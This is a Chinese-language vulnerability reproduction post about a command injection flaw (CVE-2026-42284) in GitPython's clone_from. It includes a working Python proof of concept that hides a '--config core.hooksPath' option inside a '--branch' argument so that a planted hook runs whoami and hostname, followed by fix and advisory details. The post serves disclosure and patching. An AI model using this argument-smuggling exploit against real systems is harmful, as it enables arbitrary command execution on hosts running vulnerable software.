文章总结: GitPython3.1.47之前版本存在命令注入漏洞(CVE-2026-42284),其clone()函数对multioptions参数校验不完整,攻击者可通过构造恶意配置参数在Git克隆过程中执行任意钩子脚本。漏洞复现步骤显示可成功注入whoami等系统命令,官方已在3.1.47版本修复该漏洞,建议用户立即升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,安全工具,WEB安全,安全开发
【漏洞复现】GitPython 存在命令注入漏洞(CVE-2026-42284)
信通云服
2026年5月8日 17:09 海南
在小说阅读器读本章
去阅读
【漏洞描述】
组件介绍
GitPython 是一个用于在 Python 中与 Git 库交互的库。它提供了对 Git 存储库的对象模型访问,支持大部分 Git 的读写操作,避免了频繁与 Shell 交互的复杂代码。
漏洞简介
GitPython 是一个用于操作 Git 仓库的 Python 库。在 3.1.47 之前版本中,_clone() 函数在校验 multi_options 参数时,只检查原始列表的第一个选项是否合法(例如以 –branch 开头),随后却将整个列表用空格拼接后再用 shlex.split() 拆分成实际命令。攻击者可构造类似 “–branch main –config core.hooksPath=/x” 的字符串通过校验,拆分后却变成 [“–branch”, “main”, “–config”, “core.hooksPath=/x”],导致 Git 在克隆时应用恶意配置并执行攻击者提供的钩子脚本。该漏洞已在 3.1.47 版本中修复。
【漏洞复现】
安装漏洞复现环境
1、创建虚拟环境。
python -m venv myenvsource myenv/bin/activate
2、安装 GitPython 3.1.44 版本。
pip install GitPython==3.1.44
3、使用 poc 通过尝试执行 whoami 与 hostname 命令来验证漏洞是否存在。
import sys, pathlib, subprocesssys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))
from git import Repofrom git.exc import UnsafeOptionError
try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected")except Exception: pass
DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"SRC = DIR / "repo"DST = DIR / "dst"HOOKS = DIR / "hooks"LOG = DIR / "output.log"
if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init")
HOOKS.mkdir(exist_ok=True)hook = HOOKS / "post-checkout"hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")hook.chmod(0o755)
LOG.unlink(missing_ok=True)payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()
try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload])except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)except Exception: pass
if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)
print(f"multi_options=['{payload}']: not blocked")print(f"\nHook executed: {LOG.exists()}")if LOG.exists(): print(LOG.read_text().strip())
4、成功利用后,whoami 和 hostname 命令的执行结果将被返回。
【修复建议】
补丁版本>=3.1.47
【参考链接】
https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485
https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信通云服 《【漏洞复现】GitPython 存在命令注入漏洞(CVE-2026-42284)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论